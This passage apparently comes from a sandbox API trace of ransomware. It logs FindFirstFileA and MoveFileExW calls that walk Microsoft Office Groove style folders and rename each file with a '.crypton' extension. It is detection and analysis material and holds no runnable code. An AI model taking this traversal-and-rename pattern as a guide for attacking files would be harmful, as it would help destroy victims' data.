Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\LightSpirit.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lightspirit.css.crypton"), dwFlags=0x2) returned 1 [0104.460] GetFileType (hFile=0x1b4) returned 0x1 [0104.466] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x568309f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbb9f2280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbb9f2280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000632, cFileName=".", cAlternateFileName="")) returned 0x549910 [0104.468] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0104.470] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0104.476] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime.css.crypton"), dwFlags=0x2) returned 1 [0104.480] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Maroon.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\maroon.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Maroon.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\maroon.css.crypton"), dwFlags=0x2) returned 1 [0104.483] GetFileType (hFile=0x1b4) returned 0x1 [0104.487] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbba3e540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbba3e540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000632, cFileName=".", cAlternateFileName="")) returned 0x549910 [0104.490] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis\\header.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\HEADER.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis\\header.gif.crypton"), dwFlags=0x2) returned 1 [0104.493] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0104.496] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0104.501] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis.css.crypton"), dwFlags=0x2) returned 1 [0104.505] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\OliveGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\olivegreen.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\OliveGreen.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\olivegreen.css.crypton"), dwFlags=0x2) returned 1 [0104.509] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Premium.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\premium.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Premium.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\premium.css.crypton"), dwFlags=0x2) returned 1 [0104.511] GetFileType (hFile=0x1b4) returned 0x1 [0104.516] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a9f29b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbba8a800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbba8a800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000632, cFileName=".", cAlternateFileName="")) returned 0x549910 [0104.518] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0104.520] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0104.526] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate.css.crypton"), dwFlags=0x2) returned 1 [0104.529] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SlateBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slateblue.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SlateBlue.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slateblue.css.crypton"), dwFlags=0x2) returned 1 [0104.536] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbbab0960, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbbab0960, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000632, cFileName=".", cAlternateFileName="")) returned 0x549910 [0104.541] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\background.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\background.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\background.gif.crypton"), dwFlags=0x2) returned 1 [0104.543] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0104.546] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0104.552] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue.css.crypton"), dwFlags=0x2) returned 1 [0104.560] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ab49610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbbad6ac0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbbad6ac0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000632, cFileName=".", cAlternateFileName="")) returned 0x549910 [0104.561] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\button.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\button.gif.crypton"), dwFlags=0x2) returned 1 [0104.564] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0104.567] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0104.572] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen.css.crypton"), dwFlags=0x2) returned 1 [0104.586] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Sts.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Sts.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts.css.crypton"), dwFlags=0x2) returned 1 [0104.593] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbbb22d80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbbb22d80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000632, cFileName=".", cAlternateFileName="")) returned 0x549910 [0104.595] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\background.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\background.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\background.gif.crypton"), dwFlags=0x2) returned 1 [0104.600] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\header.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\HEADER.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\header.gif.crypton"), dwFlags=0x2) returned 1 [0104.602] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0104.605] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0104.610] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Sts2.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Sts2.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2.css.crypton"), dwFlags=0x2) returned 1 [0104.619] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ac7a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbbb6f040, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbbb6f040, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000632, cFileName=".", cAlternateFileName="")) returned 0x549910 [0104.622] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\background.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\background.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\background.gif.crypton"), dwFlags=0x2) returned 1 [0104.638] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\header.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\HEADER.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\header.gif.crypton"), dwFlags=0x2) returned 1 [0104.640] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0104.643] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0104.649] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl.css.crypton"), dwFlags=0x2) returned 1 [0104.653] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Teal.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\teal.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Teal.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\teal.css.crypton"), dwFlags=0x2) returned 1 [0104.657] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\TexturedBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\texturedblue.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\TexturedBlue.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\texturedblue.css.crypton"), dwFlags=0x2) returned 1 [0104.660] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\VelvetRose.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\velvetrose.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\VelvetRose.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\velvetrose.css.crypton"), dwFlags=0x2) returned 1 [0104.666] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewattachmenticons.jpg"), lpNewFileName="C:\\\\Program 